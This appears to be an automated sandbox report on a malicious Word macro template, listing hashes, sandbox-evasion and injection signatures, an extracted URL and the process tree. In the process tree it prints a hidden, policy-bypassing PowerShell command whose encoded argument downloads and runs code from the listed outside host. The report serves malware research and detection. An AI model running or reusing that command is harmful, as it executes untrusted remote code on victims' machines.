Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
10/04/2024, 09:50
Behavioral task
behavioral1
Sample
1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm
Resource
win10v2004-20240226-en
General
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Target
1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm
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Size
15KB
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MD5
c43c50baa3271b375298847bf6a7fc13
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SHA1
962fe93d5803bfb80afc08847d35f2f8e628f2ff
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SHA256
1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769
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SHA512
2aed1ea542440256e787a4fbfaf520730ba71befaa3da826da248dc7c7df0385cd13fd689eed7fe5ff7d50718a29aa86232dd3f29c20410f2004bc1425c4fe70
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SSDEEP
192:HNmtBloyrExesIt1vwwV/H9eTblYbOgQ0CilPB2nzkx392bZr5JCpU78MLCY1zWU:tmtCs1IwVP9efxM2AxdUfLCIzWdb5qT/
Malware Config
Extracted
http://paste.c-net.org/StaceConcerns
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 452 4288 powershell.exe 85 -
Blocklisted process makes network request 1 IoCs
flow pid Process 15 452 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4288 WINWORD.EXE 4288 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 452 powershell.exe 452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 452 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4288 WINWORD.EXE 4288 WINWORD.EXE 4288 WINWORD.EXE 4288 WINWORD.EXE 4288 WINWORD.EXE 4288 WINWORD.EXE 4288 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4288 wrote to memory of 452 4288 WINWORD.EXE 92 PID 4288 wrote to memory of 452 4288 WINWORD.EXE 92
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w 1 -ep bypass -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8AUwB0AGEAYwBlAEMAbwBuAGMAZQByAG4AcwAnACkA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:452
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82